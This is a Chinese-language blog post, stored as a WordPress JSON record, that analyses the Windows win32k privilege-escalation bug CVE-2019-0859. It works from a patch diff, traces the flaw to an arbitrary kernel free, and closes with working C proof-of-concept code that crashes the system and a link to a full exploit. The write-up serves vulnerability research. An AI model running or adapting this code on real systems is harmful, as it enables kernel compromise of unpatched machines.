{"id":227,"date":"2019-04-16T13:42:45","date_gmt":"2019-04-16T05:42:45","guid":{"rendered":"http:\/\/www.sinkland.cn\/?p=227"},"modified":"2019-08-23T21:37:00","modified_gmt":"2019-08-23T13:37:00","slug":"cve-2019-0859%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"http:\/\/www.sinkland.cn\/?p=227","title":{"rendered":"CVE-2019-0859\u5206\u6790"},"content":{"rendered":"<p>CVE-2019-0859\u662fwin32k\u7684\u4e00\u4e2a\u5185\u6838\u63d0\u6743\u6f0f\u6d1e\u3002<\/p>\n<p>\u6700\u65e9\u57282019\u5e744\u6708\u4efd\u9996\u5148\u88ab\u5361\u5df4\u53d1\u73b0\uff1a<\/p>\n<p><a href=\"https:\/\/securelist.com\/new-win32k-zero-day-cve-2019-0859\/90435\/\">https:\/\/securelist.com\/new-win32k-zero-day-cve-2019-0859\/90435\/<\/a><\/p>\n<p>\u8fd9\u91cc\u5c06\u5206\u4eab\u4e00\u4e0b\uff0c\u5728\u53ea\u6709\u8865\u4e01\u5bf9\u6bd4\u548c\u5c11\u91cf\u4fe1\u606f\u60c5\u51b5\u4e0b\uff0c\u5982\u4f55\u8fd8\u539f\u6f0f\u6d1e\u5229\u7528\u3002<\/p>\n<h3>\u8865\u4e01\u5206\u6790<\/h3>\n<p>\u5206\u522b\u66f4\u65b0\u5fae\u8f6f3\u6708\u4efd\u548c4\u6708\u4efd\u8865\u4e01\u3002<\/p>\n<p>\u91cd\u70b9\u770b\u4e0b\u4e24\u4e2a\u7248\u672c\u7684win32k\u7684\u8865\u4e01\u5bf9\u6bd4\u3002<\/p>\n<p>\u8fd9\u91cc\u662f\u7528bindiff\u5bf9\u6bd4\u5f97\u51fa\u7ed3\u679c:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-1.png\" alt=\"image\" \/><\/p>\n<p>\u8fd9\u91cc\u5f88\u591a\u8865\u4e01\u70b9\uff0c\u4f46<strong>xxxMenuWindowProc<\/strong>\u8f83\u4e3a\u53ef\u7591\u3002<\/p>\n<p><strong>(\u5b9e\u9645\u60c5\u51b5\u662f\uff1a\u4f60\u4e5f\u4e0d\u786e\u5b9a\u54ea\u4e00\u4e2a\u662f\uff0c\u5168\u90e8\u90fd\u8981\u770b\u4e00\u904d\uff0c\u8fd9\u91cc\u662f\u540e\u9762\u4e0a\u5e1d\u89c6\u89d2\u5f97\u51fa\u7684\u7ed3\u8bba\u3002)<\/strong><\/p>\n<p>\u4e3b\u8981\u53d8\u5316\u5c31\u662f,\u591a\u4e86\u4e00\u6761\u6c47\u7f16\u5224\u65ad:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-2.png\" alt=\"image\" \/><\/p>\n<p>\u4f2a\u7801\u5bf9\u6bd4\u5c31\u662f:<\/p>\n<p>\u8865\u4e01\u524d\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-3.png\" alt=\"image\" \/><\/p>\n<p>\u8865\u4e01\u540e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-4.png\" alt=\"image\" \/><\/p>\n<p>\u5728\u6b64\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u8fdb\u5165<strong>xxxMenuWindowProc()<\/strong> \u6d41\u7a0b\u540e:<\/p>\n<p><strong>\u5982\u679cfnid\u4e3a0\uff0c\u5219\u4f1a\u5728\u6d88\u606f\u4e3a0x81\u7684\u60c5\u51b5\u4e0b\uff0c\u8be5\u7a97\u4f53\u7684fnid\u5c06\u4f1a\u88ab\u6539\u62100x29c<\/strong><\/p>\n<p>\u5176\u4e2d\uff0c<strong>fnid<\/strong>\u4ee3\u8868\u8be5\u7a97\u53e3\u7684\u5c5e\u6027\uff0c<strong>0x29c<\/strong>\u4ee3\u8868\u83dc\u5355\u5bf9\u8c61\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-5.png\" alt=\"image\" \/><\/p>\n<p><strong>0x81<\/strong>\u4ee3\u8868\u6d88\u606f<strong>WM_NCCREATE<\/strong>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-6.png\" alt=\"image\" \/><\/p>\n<p>\u4e0a\u8ff0\u622a\u56fe\u6765\u81ea\u4e8e\u7f51\u4e0a\u6cc4\u6f0f\u51fa\u6765\u7684win2000\u6e90\u7801\u3002<\/p>\n<p>\u9700\u8981\u6ce8\u610f\u7684\u662f\uff1a<strong>xxxMenuWindoProc()<\/strong> \u540e\u7eed\u8c03\u7528\u7684<strong>xxxRealMenuWindowProc()<\/strong> \u5374\u5224\u65ad\u4e86<strong>0x130<\/strong> \u4f4d\u7f6e\uff0c\u5e76\u6700\u7ec8\u8fd4\u56de\u4e86<strong>0<\/strong><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-7.png\" alt=\"image\" \/><\/p>\n<h3>\u6f0f\u6d1e\u5206\u6790<\/h3>\n<p>\u901a\u8fc7\u5361\u5df4\u7684\u62a5\u544a\uff0c<br \/>\n\u6211\u4eec\u5f97\u51fa\u4e00\u4e2a\u521d\u6b65\u7ed3\u8bba\uff1a\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7<strong>SetWindowHookEx()<\/strong>\u5904\u7406<strong>WM_NCCREATE<\/strong>\u6d88\u606f\uff08\u6b64\u65f6<strong>FNID<\/strong>\u4e3a0\uff09\uff0c\u5728\u8fd9\u91cc\u66f4\u6539\u7a97\u53e3\u7684\u5904\u7406\u51fd\u6570\uff0c\u6700\u7ec8\u5728<code>win32k!xxxFreeWindow()<\/code>\u4e2d\u91ca\u653e\u4e86\u4e00\u4e2a\u5916\u90e8\u5730\u5740\u3002<\/p>\n<p>\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e0bxxxFreeWindow()\u7684\u91ca\u653e\u5904\u7406\uff1a<br \/>\n<img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-8.png\" alt=\"image\" \/><\/p>\n<p>\u5927\u610f\u5c31\u662f:<\/p>\n<p><strong>\u5982\u679c\u662f\u662f\u83dc\u5355\u5bf9\u8c61\uff0c\u4e14wnd+0x130\u5904\u4e0d\u4e3a\u7a7a\u5219\u76f4\u63a5\u91ca\u653ewnd+0x130<\/strong><\/p>\n<blockquote><p>\n  \u81f3\u4e8ewnd+0x130\u4ee3\u8868\u7684\u542b\u4e49\uff0c\u6211\u4eec\u5e76\u6ca1\u6709\u67e5\u8be2\u5230\u76f8\u5173\u4fe1\u606f\n<\/p><\/blockquote>\n<p>\u8fd9\u91cc\u9700\u8981\u989d\u5916\u6ce8\u610f\u7684\u662f:<\/p>\n<p><strong>0859\u5728win7\u539f\u59cb\u7248\u672c\u4e0a\u662f\u6ca1\u6709\u8fd9\u6bb5\u91ca\u653e\u903b\u8f91\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\u5982\u679c\u4f60\u9006\u5411\u7684win32k.sysy\u4e2d\u8fd9\u4e2a\u51fd\u6570\u4e2d\u6ca1\u6709\u8fd9\u6bb5ExFreePoolWithTag\u64cd\u4f5c\uff0c\u90a3\u4e48\u5c31\u8bf4\u660e\u4f60\u7684\u8fd9\u4e2a\u7248\u672c\u5e76\u4e0d\u5b58\u5728\u6b64\u6f0f\u6d1e\u3002<\/strong><\/p>\n<h3>\u89e6\u53d1\u601d\u8def<\/h3>\n<p>\u5927\u6982\u6709\u4e24\u79cd\u601d\u8def:<\/p>\n<ul>\n<li>1.\u521b\u5efa\u4e00\u4e2a\u83dc\u5355\u5bf9\u8c61\uff0c\u7136\u540e\u4ee5\u67d0\u79cd\u65b9\u5f0f\u6539\u6389<strong>0x130<\/strong>\u5904\u503c\uff0c\u9020\u6210\u9519\u8bef\u5730\u5740\u91ca\u653e\u3002<\/li>\n<li>2.\u521b\u5efa\u4e00\u4e2a\u666e\u901a\u7a97\u53e3\u5bf9\u8c61\uff0c\u4fee\u6539\u5b8c0x130\u5904\u7684\u503c\uff0c\u7136\u540e\u5c06\u7a97\u4f53<strong>WndProc<\/strong>\u6307\u5411<strong>xxxMenuWindowProc()<\/strong><\/li>\n<\/ul>\n<p>\u7b2c\u4e00\u79cd\u601d\u8def\u76ee\u524d\u6ca1\u6709\u8bd5\u9a8c\u6210\u529f\uff0c\u6211\u4eec\u5c06\u8bf4\u660e\u7b2c\u4e8c\u79cd\u3002<\/p>\n<p>\u6211\u4eec\u5148\u6765\u770b\u4e0b<strong>CreateWinowEx()<\/strong> \u7684\u6d41\u7a0b:<\/p>\n<p>\u6211\u4eec\u53d1\u73b0 <strong>CreateWindowEx()<\/strong> \u4f1a\u5728\u521b\u5efa\u5b8c\u7a97\u4f53\u7684 <strong>tagWND<\/strong> \u5bf9\u8c61\u540e\uff0c\u8c03\u7528 <strong>xxxSendMessageTimeout()<\/strong> \u5411\u7a97\u4f53\u53d1\u9001 <strong>WM_NCCREATE<\/strong> \u6d88\u606f(\u6b64\u65f6\u7684 <strong>FNID<\/strong> \u662f0):<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-9.png\" alt=\"image\" \/><\/p>\n<p>\u6765\u770b\u4e0b<strong>xxxSendMessageTimeout()<\/strong> \u5173\u952e\u90e8\u5206\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-10.png\" alt=\"image\" \/><\/p>\n<p><strong>xxxSendMessageTimeout()<\/strong> \u9996\u5148\u4f1a\u901a\u8fc7<strong>xxxCallHook()<\/strong> \u8c03\u7528\u6211\u4eec\u4e4b\u524d\u7528<strong>SetWindowHookEx()<\/strong> \u8bbe\u7f6e\u7684\u56de\u8c03\uff0c\u7136\u540e\u4f1a\u8c03\u7528\u8be5\u7a97\u53e3\u7684\u5904\u7406\u51fd\u6570\u3002<\/p>\n<p>\u6211\u4eec\u5c06\u5728\u56de\u8c03\u4e2d\u4fee\u6539\u8be5\u7a97\u53e3\u7684\u5904\u7406\u51fd\u6570\u6307\u5411<strong>xxxMenuWindowProc()<\/strong>,\u6211\u4eec\u53d1\u73b0\u4f7f\u7528\u51fd\u6570<strong>SetWindowLongPtr()<\/strong>,\u7b2c\u4e8c\u4e2a\u53c2\u6570\u8bbe\u6210<strong>GWLP_WNDPROC<\/strong>\u53ef\u4ee5\u8fbe\u6210\u8fd9\u4e00\u76ee\u7684\u3002<\/p>\n<h5>\u4f46\u662f\u5728\u8fd9\u91cc\u6211\u4eec\u9047\u5230\u4e86\u4e00\u4e2a\u5f88\u5927\u7684\u95ee\u9898\uff1a<\/h5>\n<p><strong>xxxSendMessageTimeout()<\/strong> \u4f1a\u5224\u65adwnd\u7a97\u53e3\u7684<strong>state<\/strong>\u6807\u5fd7\u4f4d\uff0c\u8fd9\u91cc\u5982\u679c\u76f4\u63a5\u8c03\u7528<strong>SetWindowLongPtr()<\/strong>  \u4fee\u6539\u6210\u5185\u6838\u7684<strong>xxxMenuWindowProc<\/strong>\u540e\uff0c\u867d\u7136\u4fee\u6539\u6210\u529f\uff0c\u4f46\u662f\u5728\u540e\u7eed\u7684<strong>state<\/strong>\u7684\u5224\u65ad\u4e2d\u5e76\u672a\u901a\u8fc7\uff0c\u6700\u7ec8\u5bfc\u81f4\u6ca1\u6709\u8c03\u7528\u5230<strong>xxxMenuWindowProc()<\/strong><\/p>\n<p>\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff0c\u6211\u4eec\u6765\u7ee7\u7eed\u5206\u6790\u4e00\u4e0b:<\/p>\n<h3>WFSERVERSIDEPROC\u6807\u5fd7\u4f4d<\/h3>\n<p>\u6765\u770b\u4e00\u4e0b<strong>SetWindowLongPtr()<\/strong> \u4e2d\u8c03\u7528\u7684<strong>xxxSetWindowData()<\/strong> \u8bbe\u7f6e<strong>lpfnWndProc<\/strong> \u7684\u5730\u65b9:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-11.png\" alt=\"image\" \/><\/p>\n<p>\u5176\u4e2d<strong>0x204<\/strong>\u4ee3\u8868:<strong>WFSERVERSIDEPROC<\/strong><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-12.png\" alt=\"image\" \/><\/p>\n<p><strong>NewLong<\/strong>\u662f\u6211\u4eec\u5728 <strong>SetWindowLongPtr()<\/strong> \u4f20\u5165\u7684\u7b2c\u4e09\u4e2a\u53c2\u6570\u3002<\/p>\n<p>\u5982\u679c<strong>MapClientToServerPfn()<\/strong> \u8fd4\u56de\u7684\u503c\u662f\u975e0\u7684\u8bdd\uff0c\u4f1a\u76f4\u63a5\u5c06\u6211\u4eec\u7684<strong>Newlong<\/strong> \u8d4b\u503c\u7ed9<strong>wnd->lpfnWndProc<\/strong> ,\u4f46\u662f\u4f1a\u5bfc\u81f4<strong>SetOrClrWF()<\/strong> \u53d6\u6d88<strong>WFSERVERSIDEPROC<\/strong> \u6807\u5fd7\u4f4d\uff0c\u6700\u7ec8\u5bfc\u81f4\u4e86 <strong>xxxSendMessageTimeout()<\/strong>  \u4e2d\u672a\u8c03\u7528\u8be5\u5904\u7406\u51fd\u6570\u3002<\/p>\n<p>\u4e0d\u8fc7\uff0c\u6211\u4eec\u53d1\u73b0<strong>MapClientToServerPfn()<\/strong>\u53ea\u8981\u4f20\u5165\u6307\u5b9a\u53c2\u6570\uff0c\u53ef\u4ee5\u8ba9<strong>MapClientToServerPfn()<\/strong> \u8fd4\u56de <strong>xxxMenuWndProc()<\/strong> \u5730\u5740\u3002<\/p>\n<p>\u6211\u4eec\u6765\u770b\u4e0b<strong>MapClientToServerPfn()<\/strong>:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-13.png\" alt=\"image\" \/><\/p>\n<p>\u51fd\u6570\u5f88\u7b80\u77ed,\u6211\u4eec\u53d1\u73b0\u8be5\u51fd\u6570\u4f1a\u5c06<strong>dwNewLong<\/strong>\u5728<strong>gpsi<\/strong> \u6307\u5411\u7684<strong>apfnClientA<\/strong>\u548c<strong>apfnClientW<\/strong>\u6bd4\u5bf9\uff0c<br \/>\n\u5982\u679c\u6bd4\u5bf9\u6210\u529f\u8fd4\u56de<strong>aStoCidPfn<\/strong>\u6570\u7ec4\u4e2d\u7684\u503c\u3002<\/p>\n<p>\u6211\u4eec\u901a\u8fc7\u52a8\u6001\u8c03\u8bd5\u770b<strong>aStoCidPfn<\/strong>:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-14.png\" alt=\"image\" \/><\/p>\n<p>\u5176\u4e2d\u7b2c\u4e09\u9879\u6307\u5411\u4e86\u6211\u4eec\u7684\u60f3\u8981\u7684\u76ee\u6807\u51fd\u6570.<\/p>\n<p>\u7136\u540e\u6211\u4eec\u518d\u770b\u4e0b<strong>apfnClientA<\/strong>\u548c<strong>apfnClientW<\/strong>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-15.png\" alt=\"image\" \/><\/p>\n<p><strong>apfnClientW<\/strong>\u548c\u6b64\u7c7b\u4f3c\uff0c\u5c31\u4e0d\u8d34\u622a\u56fe\u4e86<\/p>\n<p>\u7136\u540e\u8fdb\u4e00\u6b65\u53d1\u73b0<strong>dwNewLong<\/strong>\u53ea\u8981\u662f\u7b49\u4e8e<strong>pfnMenuWndProc<\/strong>\u7684\u503c\u5c31\u53ef\u4ee5\u6210\u7acb\uff0c\u8fbe\u5230\u6211\u4eec\u7684\u76ee\u6807\u3002<\/p>\n<p>\u6211\u4eec\u518d\u770b\u770b<strong>pfnMenuWndProc<\/strong>\u662f\u4ec0\u4e48\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-16.png\" alt=\"image\" \/><\/p>\n<p>\u53d1\u73b0\u6307\u5411\u4e86<strong>ntdll<\/strong>\u672a\u5bfc\u51fa\u7684\u7684\u51fd\u6570\u8868\u3002<\/p>\n<p>\u90a3\u4e48\u6211\u4eec\u600e\u4e48\u5b9a\u4f4d\u8fd9\u4e2a\u5730\u5740\u5462\uff1f<\/p>\n<p>\u901a\u8fc7IDA\u9006\u5411\u53d1\u73b0\uff0c\u8fd9\u4e2a\u5730\u5740\u548cntdll\u7684\u5bfc\u51fa\u51fd\u6570 <strong>RtlInitializeNtUserPfn()<\/strong> \u6709\u5173<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-17.png\" alt=\"image\" \/><\/p>\n<p>\u53ef\u4ee5\u52a8\u6001\u4ece\u8be5\u51fd\u6570\u5f97\u51fa\u504f\u79fb\u8ba1\u7b97\u51fa<strong>NtUserPfn<\/strong><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-18.png\" alt=\"image\" \/><\/p>\n<p><strong>NtUserPfn<\/strong>\u7684\u7b2c\u4e09\u9879\u6307\u5411\u4e86\u8be5\u503c<\/p>\n<p>\u6700\u540e\u6f0f\u6d1e\u6d41\u7a0b\u603b\u7ed3\u5982\u56fe\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-19.png\" alt=\"image\" \/><\/p>\n<p>\u84dd\u5c4f\u5806\u6808:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/cve2019-0859-20.png\" alt=\"image\" \/><\/p>\n<p>\u84dd\u5c4f\u9a8c\u8bc1poc:<\/p>\n<pre><code class=\"language-c \">\/\/ \u7f16\u8bd1\u621064\u4f4d\u7a0b\u5e8f\n#include \"stdafx.h\"\n#include &lt;Windows.h&gt;\n\n#define MY_MENUCLASS_NAME L\"112233\"\n\nULONG_PTR GetNtdllMenuWndProc()\n{\n    HMODULE hModule = LoadLibraryW(L\"ntdll.dll\");\n    if (hModule == NULL)\n    {\n        return 0;\n    }\n\n    PUCHAR pfnRtlInitializeNtUserPfn = (PUCHAR)GetProcAddress(hModule, \"RtlInitializeNtUserPfn\");\n    if (pfnRtlInitializeNtUserPfn == NULL)\n    {\n        return 0;\n    }\n\n#define NT_USER_PFN_TABLE_OFFSET 0x14\n    \/\/48 8D 0D xx xx xx xx  ;lea rcx, NtUserPfn\n\n    if (pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET] != 0x48 ||\n        pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET + 1] != 0x8D ||\n        pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET + 2] != 0x0D)\n    {\n        return 0;\n    }\n\n    ULONG32 uNtUserPfnOffset = *(PULONG32)(pfnRtlInitializeNtUserPfn + NT_USER_PFN_TABLE_OFFSET + 3);\n\n    PUINT64 pNtUserPfn = (PUINT64)(\n        (ULONG_PTR)pfnRtlInitializeNtUserPfn +\n        NT_USER_PFN_TABLE_OFFSET +\n        7 +\n        uNtUserPfnOffset);\n\n    ULONG64 NtdllMenuWndProcA = pNtUserPfn[2];\n    return NtdllMenuWndProcA;\n}\n\nLRESULT WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)\n{\n    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;\n    static HWND hwndMenuHit = 0;\n    static UINT iShadowCount = 0;\n\n    WCHAR szClassName[64] = { 0 };\n    GetClassNameW(cwp-&gt;hwnd, szClassName, 64);\n\n    if (lstrcmpW(szClassName, MY_MENUCLASS_NAME) != 0)\n    {\n        return  CallNextHookEx(0, code, wParam, lParam);\n    }\n\n    if (cwp-&gt;message == WM_NCCREATE)\n    {\n        printf(\"[+]WindowHookProc : WM_NCCREATE..\\n\");\n\n        \/\/ \u8fd9\u91cc\u53ef\u4ee5\u9020\u6210\u5730\u5740\u4efb\u610f\u91ca\u653e\uff0c 0x1122334455667788\u662f\u91ca\u653e\u5730\u5740\n        SetWindowLongPtrW(cwp-&gt;hwnd, 8, 0x1122334455667788);\n\n        \/\/ \u66f4\u6539WndProc\u4e3a\u7cfb\u7edf\u7684MenuWndProc\u5730\u5740\n        ULONG64 NtdllMenuWndProcA = GetNtdllMenuWndProc();\n        SetWindowLongPtrW(cwp-&gt;hwnd, GWLP_WNDPROC, NtdllMenuWndProcA);\n    }\n\n    return CallNextHookEx(0, code, wParam, lParam);\n}\n\nINT Exploit_0859_FreeAddr(ULONG64 Addr)\n{\n    SetWindowsHookExW(WH_CALLWNDPROC, \n        WindowHookProc,\n        GetModuleHandleA(NULL),\n        GetCurrentThreadId());\n\n    WNDCLASSEXW Class = { 0 };\n    Class.cbSize = sizeof(WNDCLASSEXA);\n    Class.lpfnWndProc = DefWindowProcW;\n    Class.cbWndExtra = 16;\n    Class.hInstance = GetModuleHandleA(NULL);\n    Class.lpszMenuName = NULL;\n    Class.lpszClassName = MY_MENUCLASS_NAME;\n    if (!RegisterClassExW(&amp;Class))\n    {\n        return -1;\n    }\n\n    HWND hwnd = CreateWindowExW(0, MY_MENUCLASS_NAME, NULL, NULL,\n        0, 0, 0, 0,\n        NULL, NULL, GetModuleHandleA(NULL), NULL);\n    if (hwnd == NULL)\n    {\n        return -1;\n    }\n    printf(\"[+]hwnd:%p\\n\", hwnd);\n    return 0;\n}\n\n\nint main()\n{\n    Exploit_0859_FreeAddr((ULONG64)NULL);\n\n    getchar();\n    return 0;\n}\n<\/code><\/pre>\n<p>\u5b8c\u6574\u5229\u7528\u53ef\u4ee5\u53c2\u8003\u7f51\u4e0a\u516c\u5f00poc:<\/p>\n<p><a href=\"https:\/\/github.com\/Sheisback\/CVE-2019-0859-1day-Exploit\">https:\/\/github.com\/Sheisback\/CVE-2019-0859-1day-Exploit<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>CVE-2019-0859\u662fwin32k\u7684\u4e00\u4e2a\u5185\u6838\u63d0\u6743\u6f0f\u6d1e\u3002 \u6700\u65e9\u57282019\u5e744\u6708\u4efd\u9996\u5148\u88ab\u5361\u5df4\u53d1\u73b0\uff1a http [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"_links":{"self":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/227"}],"collection":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=227"}],"version-history":[{"count":2,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/227\/revisions"}],"predecessor-version":[{"id":229,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/227\/revisions\/229"}],"wp:attachment":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=227"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=227"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=227"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}